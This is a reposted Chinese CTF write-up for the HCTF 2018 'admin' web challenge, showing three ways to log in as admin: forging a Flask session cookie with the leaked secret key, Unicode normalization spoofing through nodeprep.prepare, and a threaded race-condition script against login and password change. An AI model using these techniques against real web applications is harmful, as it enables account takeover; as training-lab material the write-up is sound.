[HCTF 2018]admin三种解法

打开题目有两个选项以及一个提示信息
判断我们是要以admin的身份登录

[HCTF 2018]admin三种解法
这样的话肯定是对login页面进行一番鼓捣
先弱口令爆破一波,因为是个弱口令(123),爆破也能爆破出来
然后这个题就结束了(太tm出乎意料了)…

[HCTF 2018]admin三种解法

弱口令不行的话就试试sql注入以及ssti注入
尝试抓包修改自己的角色(实战中真碰到过)
以上就是常规思路

当然这个题不该设个弱口令在那
看下其他的解法

; 解法一:session伪造

随便注册个账号登录发现新大陆

[HCTF 2018]admin三种解法
在change password页面源码发现源码
[HCTF 2018]admin三种解法
去github下载源码偷家
发现这是用flask(轻量级框架)写的
查看路由信息
[HCTF 2018]admin三种解法
加载了index.html
查看index.html
判断session[‘name’]是否为admin
[HCTF 2018]admin三种解法
这里用到一个用来处理session的脚本
https://github.com/noraj/flask-session-cookie-manager

简单说一下它的用法
decode -c “session”

[HCTF 2018]admin三种解法

随便注册一个号登录拿到一个session
decode之后得到
{“_fresh”:true,”_id”:{” b”:”N2IwYmM0MDJjYTc3Y2QyYjU0OTM2OGZmZWZmOTY3NmYzNWRkYjllNDU5Yzg3Nzg3NDkyNzgwYmMxYzBmZWY5OTUyOTljYjViZDViZmVmZDdkMTQzMWJlMjg3YjQ1ZThmMzc4NWY4NjlhODU2ZDdjNGZjYmM4NTI3NzFkNzNjNDU=”},”csrf_token”:{” b”:”MjViYTQ5NTRhZDdiYjk1ZTM2MjAyNGJlZWU4OTc0NTk0MDMzZThhNA==”},”image”:{” b”:”bmNrbw==”},”name”:”1″,”user_id”:”10″}

然后修改name的值为admin

{“_fresh”:true,”_id”:{” b”:”N2IwYmM0MDJjYTc3Y2QyYjU0OTM2OGZmZWZmOTY3NmYzNWRkYjllNDU5Yzg3Nzg3NDkyNzgwYmMxYzBmZWY5OTUyOTljYjViZDViZmVmZDdkMTQzMWJlMjg3YjQ1ZThmMzc4NWY4NjlhODU2ZDdjNGZjYmM4NTI3NzFkNzNjNDU=”},”csrf_token”:{” b”:”MjViYTQ5NTRhZDdiYjk1ZTM2MjAyNGJlZWU4OTc0NTk0MDMzZThhNA==”},”image”:{” b”:”bmNrbw==”},”name”:”admin”,”user_id”:”10″}

进行encode,encode需要加密使用的盐
可以在源码中找到

[HCTF 2018]admin三种解法
在加密时出现问题了,老是报错
然后换了一个decode的脚本
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)
    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True
    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')
    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')
    return session_json_serializer.loads(payload)
if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

[HCTF 2018]admin三种解法
对比发现这个用的是单引号那个是双引号
同时这个把base64直接解码了
仍然使用flask_session_cookie_manager进行encode得到admin的session
用法:encode -s “盐” -t “明文”
[HCTF 2018]admin三种解法

修改cookie的值刷新

[HCTF 2018]admin三种解法

[HCTF 2018]admin三种解法

解法二:Unicode欺骗

源码审计

[HCTF 2018]admin三种解法
这里原理就是利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,
而A再次调用nodeprep.prepare函数会把A转换成a

1.注册用户ᴬᴰᴹᴵᴺ
经过nodeprep.prepare函数
ᴬᴰᴹᴵᴺ变成了ADMIN

[HCTF 2018]admin三种解法
2.登录ᴬᴰᴹᴵᴺ用户
经过nodeprep.prepare函数
ᴬᴰᴹᴵᴺ变成了ADMIN

[HCTF 2018]admin三种解法
所以这里显示的就是
[HCTF 2018]admin三种解法
3.修改密码
ADMIN再次经过nodeprep.prepare函数就变成了admin
所以这里修改的密码其实是admin的密码
[HCTF 2018]admin三种解法
[HCTF 2018]admin三种解法
4.登录admin拿到flag
[HCTF 2018]admin三种解法

; 解法三:条件竞争

源码审计change()函数和login()函数
不必要的代码都去掉了

def login():

    if request.method == 'POST':

        session['name'] = name

def change():

    if request.method == 'POST':

        name = strlower(session['name'])

理一下思路
第一步:
我们以admin的身份登录就会执行login()
即 session[‘name’] = ‘admin’
第二步:
修改密码就会执行change()
即name = strlower(session[‘name’])
即name = ‘admin’
那么修改的密码就是admin的密码了
当然以上只是我们希望的理想状态
为了实现以上执行顺序
一个线程一直进行admin的登录行为
也就是一直执行session[‘name’] = ‘admin’
另一个线程一直进行修改密码的行为
也就是一直执行name = strlower(session[‘name’])
当恰好先执行session[‘name’] = ‘admin’
然后再执行name = strlower(session[‘name’])
admin的密码就会被修改了

理想很丰满,现实很骨感
这个是登录的数据包
账号:admin
密码:1

[HCTF 2018]admin三种解法

这个是修改密码的数据包
用户:1
新密码:1

[HCTF 2018]admin三种解法

发现了没有,他们的session是不一样的!!!
所以说前面说要用到线程
然后跑了下面的代码
还是无法复现这种解

脚本来自 whitzard

import requests
import threading
url = "http://65xxxxxxxxxxxxxx75dfc7.node4.buuoj.cn:81/"

def login(s, username, password):
    data = {'username': username, 'password':password}
    return s.post(url + "login", data=data)
def logout(s):
    return s.get(url + "logout")
def change(s, newpassword):
    data = {'newpassword':newpassword }
    return s.post(url + "change", data=data)
def func1(s):
    login(s, '1', '1')
    change(s, '1')
def func2(s):
    logout(s)
    res = login(s, 'admin', '1')
    if '/index' in res.text:
        print('finish')
def main():
    for i in range(2000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()
if __name__ == "__main__":
    main()

Original: https://blog.csdn.net/u011250160/article/details/121923930
Author: u011250160
Title: [HCTF 2018]admin三种解法

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/745758/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球